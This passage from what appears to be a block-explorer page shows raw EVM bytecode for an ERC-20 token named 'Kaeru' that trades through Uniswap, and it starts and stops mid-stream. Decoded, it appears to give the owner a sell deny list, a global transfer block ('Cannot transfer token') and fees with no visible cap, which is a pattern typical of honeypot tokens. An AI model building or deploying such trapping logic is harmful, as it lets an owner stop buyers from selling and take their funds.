016111b790612910565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600560149054906101000a900460ff1681565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611303576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112fa9061299e565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611371576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136890612a2c565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161144b91906122a3565b60405180910390a3505050565b5f8073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036114c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114be90612aba565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611535576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152c90612b48565b60405180910390fd5b5f8211611577576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156e90612bd6565b60405180910390fd5b600560149054906101000a900460ff16806115c45750611595610b35565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8061160157506115d2610b35565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b611609575f80fd5b6116138484611ac8565b61161d8484611bfc565b8160025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546116699190612bf4565b9250508190555060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156116d95750600560159054906101000a900460ff16155b80156116ef57506006546116ec306109a1565b10155b801561172e57506116fe610b35565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611781575060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80156117d4575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611865576001600560156101000a81548160ff0219169083151502179055506117ff600654611ea0565b611807610b35565b73ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015611849573d5f803e3d5ffd5b505f600560156101000a81548160ff0219169083151502179055505b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156118b4575060011515600560149054906101000a900460ff161515145b156119b1575f606460055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614611924575f60149054906101000a900460ff16611934565b5f60159054906101000a900460ff165b60ff1684611942919061271d565b61194c9190612c54565b9050808361195a9190612bf4565b92508060025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546119a89190612c84565b92505081905550505b8160025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546119fd9190612c84565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611a6191906122a3565b60405180910390a3600190509392505050565b5f838311158290611abb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ab2919061216e565b60405180910390fd5b5082840390509392505050565b3073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015611b105750600560149054906101000a900460ff165b8015611b68575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b15611bf85760075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615611bf7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bee90612d01565b60405180910390fd5b5b5050565b600560169054906101000a900460ff1615611e9c5760055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614158015611ca15750611c71610b35565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b8015611cd957503073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b8015611d32575060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b8015611d8b575060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611de4575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611e235750611df3610b35565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611e5b57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e9290612d69565b60405180910390fd5b5b5050565b6001600560156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611ed757611ed6612d87565b5b604051908082528060200260200182016040528015611f055781602001602082028036833780820191505090505b50905030815f81518110611f1c57611f1b61282c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611fb3573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611fd791906127da565b81600181518110611feb57611fea61282c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204430737a250d5630b4cf539739df2c5dacb4c659f2488d84611295565b737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401612099959493929190612ead565b5f604051808303815f87803b1580156120b0575f80fd5b505af11580156120c2573d5f803e3d5ffd5b50505050505f600560156101000a81548160ff02191690831515021790555050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561211b578082015181840152602081019050612100565b5f8484015250505050565b5f601f19601f8301169050919050565b5f612140826120e4565b61214a81856120ee565b935061215a8185602086016120fe565b61216381612126565b840191505092915050565b5f6020820190508181035f8301526121868184612136565b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6121bf82612196565b9050919050565b6121cf816121b5565b81146121d9575f80fd5b50565b5f813590506121ea816121c6565b92915050565b5f819050919050565b612202816121f0565b811461220c575f80fd5b50565b5f8135905061221d816121f9565b92915050565b5f80604083850312156122395761223861218e565b5b5f612246858286016121dc565b92505060206122578582860161220f565b9150509250929050565b5f8115159050919050565b61227581612261565b82525050565b5f60208201905061228e5f83018461226c565b92915050565b61229d816121f0565b82525050565b5f6020820190506122b65f830184612294565b92915050565b5f805f606084860312156122d3576122d261218e565b5b5f6122e0868287016121dc565b93505060206122f1868287016121dc565b92505060406123028682870161220f565b9150509250925092565b5f60ff82169050919050565b6123218161230c565b82525050565b5f60208201905061233a5f830184612318565b92915050565b612349816121b5565b82525050565b5f6020820190506123625f830184612340565b92915050565b5f6020828403121561237d5761237c61218e565b5b5f61238a848285016121dc565b91505092915050565b61239c8161230c565b81146123a6575f80fd5b50565b5f813590506123b781612393565b92915050565b5f80604083850312156123d3576123d261218e565b5b5f6123e0858286016123a9565b92505060206123f1858286016123a9565b9150509250929050565b5f80fd5b5f80fd5b5f80fd5b5f8083601f84011261241c5761241b6123fb565b5b8235905067ffffffffffffffff811115612439576124386123ff565b5b60208301915083602082028301111561245557612454612403565b5b9250929050565b61246581612261565b811461246f575f80fd5b50565b5f813590506124808161245c565b92915050565b5f805f6040848603121561249d5761249c61218e565b5b5f84013567ffffffffffffffff8111156124ba576124b9612192565b5b6124c686828701612407565b935093505060206124d986828701612472565b9150509250925092565b5f602082840312156124f8576124f761218e565b5b5f61250584828501612472565b91505092915050565b5f80604083850312156125245761252361218e565b5b5f612531858286016121dc565b9250506020612542858286016121dc565b9150509250929050565b5f602082840312156125615761256061218e565b5b5f61256e8482850161220f565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156125f9578086048111156125d5576125d4612577565b5b60018516156125e45780820291505b80810290506125f2856125a4565b94506125b9565b94509492505050565b5f8261261157600190506126cc565b8161261e575f90506126cc565b8160018114612634576002811461263e5761266d565b60019150506126cc565b60ff8411156126505761264f612577565b5b8360020a91508482111561266757612666612577565b5b506126cc565b5060208310610133831016604e8410600b84101617156126a25782820a90508381111561269d5761269c612577565b5b6126cc565b6126af84848460016125b0565b925090508184048111156126c6576126c5612577565b5b81810290505b9392505050565b5f6126dd826121f0565b91506126e88361230c565b92506127157fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612602565b905092915050565b5f612727826121f0565b9150612732836121f0565b9250828202612740816121f0565b9150828204841483151761275757612756612577565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6127926020836120ee565b915061279d8261275e565b602082019050919050565b5f6020820190508181035f8301526127bf81612786565b9050919050565b5f815190506127d4816121c6565b92915050565b5f602082840312156127ef576127ee61218e565b5b5f6127fc848285016127c6565b91505092915050565b5f6040820190506128185f830185612340565b6128256020830184612340565b9392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f612863826121f0565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361289557612894612577565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f6128fa6026836120ee565b9150612905826128a0565b604082019050919050565b5f6020820190508181035f830152612927816128ee565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6129886024836120ee565b91506129938261292e565b604082019050919050565b5f6020820190508181035f8301526129b58161297c565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612a166022836120ee565b9150612a21826129bc565b604082019050919050565b5f6020820190508181035f830152612a4381612a0a565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612aa46025836120ee565b9150612aaf82612a4a565b604082019050919050565b5f6020820190508181035f830152612ad181612a98565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612b326023836120ee565b9150612b3d82612ad8565b604082019050919050565b5f6020820190508181035f830152612b5f81612b26565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612bc06029836120ee565b9150612bcb82612b66565b604082019050919050565b5f6020820190508181035f830152612bed81612bb4565b9050919050565b5f612bfe826121f0565b9150612c09836121f0565b9250828203905081811115612c2157612c20612577565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612c5e826121f0565b9150612c69836121f0565b925082612c7957612c78612c27565b5b828204905092915050565b5f612c8e826121f0565b9150612c99836121f0565b9250828201905080821115612cb157612cb0612577565b5b92915050565b7f416464726573732064656e79207472616e7366657200000000000000000000005f82015250565b5f612ceb6015836120ee565b9150612cf682612cb7565b602082019050919050565b5f6020820190508181035f830152612d1881612cdf565b9050919050565b7f43616e6e6f74207472616e7366657220746f6b656e00000000000000000000005f82015250565b5f612d536015836120ee565b9150612d5e82612d1f565b602082019050919050565b5f6020820190508181035f830152612d8081612d47565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f819050919050565b5f819050919050565b5f612de0612ddb612dd684612db4565b612dbd565b6121f0565b9050919050565b612df081612dc6565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612e28816121b5565b82525050565b5f612e398383612e1f565b60208301905092915050565b5f602082019050919050565b5f612e5b82612df6565b612e658185612e00565b9350612e7083612e10565b805f5b83811015612ea0578151612e878882612e2e565b9750612e9283612e45565b925050600181019050612e73565b5085935050505092915050565b5f60a082019050612ec05f830188612294565b612ecd6020830187612de7565b8181036040830152612edf8186612e51565b9050612eee6060830185612340565b612efb6080830184612294565b969550505050505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122090fbd5a8db8a781663e63c791299be3309f566b796ce754d92b006a25024df2864736f6c63430008140033
Deployed Bytecode
0x608060405234801561000f575f80fd5b5060043610610140575f3560e01c80638da5cb5b116100b6578063c6729f261161007a578063c6729f2614610350578063dd62ed3e1461036c578063e632313c1461039c578063e73c5c6b146103b8578063f2fde38b146103d4578063ffb54a99146103f057610140565b80638da5cb5b146102ac57806395d89b41146102ca578063a9059cbb146102e8578063a9128ff014610318578063bcb406081461033457610140565b806347cee97c1161010857806347cee97c146101fe57806349bd5a5e1461022e57806351cd7cc31461024c578063628a4b2f1461025657806370a0823114610272578063715018a6146102a257610140565b806306fdde0314610144578063095ea7b31461016257806318160ddd1461019257806323b872dd146101b0578063313ce567146101e0575b5f80fd5b61014c61040e565b604051610159919061216e565b60405180910390f35b61017c60048036038101906101779190612223565b61044b565b604051610189919061227b565b60405180910390f35b61019a610468565b6040516101a791906122a3565b60405180910390f35b6101ca60048036038101906101c591906122bc565b61048e565b6040516101d7919061227b565b60405180910390f35b6101e8610563565b6040516101f59190612327565b60405180910390f35b61021860048036038101906102139190612223565b61056b565b604051610225919061227b565b60405180910390f35b61023661061d565b604051610243919061234f565b60405180910390f35b610254610642565b005b610270600480360381019061026b9190612368565b6108ca565b005b61028c60048036038101906102879190612368565b6109a1565b60405161029991906122a3565b60405180910390f35b6102aa6109e7565b005b6102b4610b35565b6040516102c1919061234f565b60405180910390f35b6102d2610b5c565b6040516102df919061216e565b60405180910390f35b61030260048036038101906102fd9190612223565b610b99565b60405161030f919061227b565b60405180910390f35b610332600480360381019061032d91906123bd565b610bb7565b005b61034e60048036038101906103499190612486565b610c83565b005b61036a600480360381019061036591906124e3565b610db8565b005b6103866004803603810190610381919061250e565b610e69565b60405161039391906122a3565b60405180910390f35b6103b660048036038101906103b1919061254c565b610eeb565b005b6103d260048036038101906103cd9190612486565b610f89565b005b6103ee60048036038101906103e99190612368565b6110be565b005b6103f861127b565b604051610405919061227b565b60405180910390f35b60606040518060400160405280600581526020017f4b61657275000000000000000000000000000000000000000000000000000000815250905090565b5f61045e61045761128e565b8484611295565b6001905092915050565b5f6012600a61047791906126d3565b66017dfcdece4000610489919061271d565b905090565b5f61049a848484611458565b50610558846104a761128e565b61055385604051806060016040528060288152602001612f066028913960015f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61050a61128e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611a749092919063ffffffff16565b611295565b600190509392505050565b5f6012905090565b5f61057461128e565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610600576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f7906127a8565b60405180910390fd5b61061261060b61128e565b8484611458565b506001905092915050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61064a61128e565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106cd906127a8565b60405180910390fd5b5f737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610734573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061075891906127da565b90505f737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107b8573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107dc91906127da565b90505f8273ffffffffffffffffffffffffffffffffffffffff1663e6a4390530846040518363ffffffff1660e01b815260040161081a929190612805565b602060405180830381865afa158015610835573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061085991906127da565b90508060055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600560149054906101000a900460ff1615600560146101000a81548160ff021916908315150217905550505050565b6108d261128e565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461095e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610955906127a8565b60405180910390fd5b8060045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6109ef61128e565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a72906127a8565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f4b41455255000000000000000000000000000000000000000000000000000000815250905090565b5f610bac610ba561128e565b8484611458565b506001905092915050565b610bbf61128e565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c42906127a8565b60405180910390fd5b805f60156101000a81548160ff021916908360ff160217905550815f60146101000a81548160ff021916908360ff1602179055505050565b610c8b61128e565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0e906127a8565b60405180910390fd5b5f5b83839050811015610db2578160075f868685818110610d3b57610d3a61282c565b5b9050602002016020810190610d509190612368565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080610daa90612859565b915050610d19565b50505050565b610dc061128e565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e4c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e43906127a8565b60405180910390fd5b80600560166101000a81548160ff02191690831515021790555050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610ef361128e565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f76906127a8565b60405180910390fd5b8060068190555050565b610f9161128e565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461101d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611014906127a8565b60405180910390fd5b5f5b838390508110156110b8578160035f8686858181106110415761104061282c565b5b90506020020160208101906110569190612368565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555080806110b090612859565b91505061101f565b50505050565b6110c661128e565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611152576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611149906127a8565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036111c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b790612910565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600560149054906101000a900460ff1681565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611303576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112fa9061299e565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611371576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136890612a2c565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161144b91906122a3565b60405180910390a3505050565b5f8073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036114c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114be90612aba565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611535576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152c90612b48565b60405180910390fd5b5f8211611577576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156e90612bd6565b60405180910390fd5b600560149054906101000a900460ff16806115c45750611595610b35565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8061160157506115d2610b35565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b611609575f80fd5b6116138484611ac8565b61161d8484611bfc565b8160025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546116699190612bf4565b9250508190555060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156116d95750600560159054906101000a900460ff16155b80156116ef57506006546116ec306109a1565b10155b801561172e57506116fe610b35565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611781575060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80156117d4575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611865576001600560156101000a81548160ff0219169083151502179055506117ff600654611ea0565b611807610b35565b73ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015611849573d5f803e3d5ffd5b505f600560156101000a81548160ff0219169083151502179055505b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156118b4575060011515600560149054906101000a900460ff161515145b156119b1575f606460055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614611924575f60149054906101000a900460ff16611934565b5f60159054906101000a900460ff165b60ff1684611942919061271d565b61194c9190612c54565b9050808361195a9190612bf4565b92508060025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546119a89190612c84565b92505081905550505b8160025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546119fd9190612c84565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611a6191906122a3565b60405180910390a3600190509392505050565b5f838311158290611abb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ab2919061216e565b60405180910390fd5b5082840390509392505050565b3073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015611b105750600560149054906101000a900460ff165b8015611b68575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b15611bf85760075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615611bf7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bee90612d01565b60405180910390fd5b5b5050565b600560169054906101000a900460ff1615611e9c5760055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614158015611ca15750611c71610b35565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b8015611cd957503073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b8015611d32575060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b8015611d8b575060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611de4575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611e235750611df3610b35565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611e5b57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e9290612d69565b60405180910390fd5b5b5050565b6001600560156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611ed757611ed6612d87565b5b604051908082528060200260200182016040528015611f055781602001602082028036833780820191505090505b50905030815f81518110611f1c57611f1b61282c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611fb3573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611fd791906127da565b81600181518110611feb57611fea61282c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204430737a250d5630b4cf539739df2c5dacb4c659f2488d84611295565b737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401612099959493929190612ead565b5f604051808303815f87803b1580156120b0575f80fd5b505af11580156120c2573d5f803e3d5ffd5b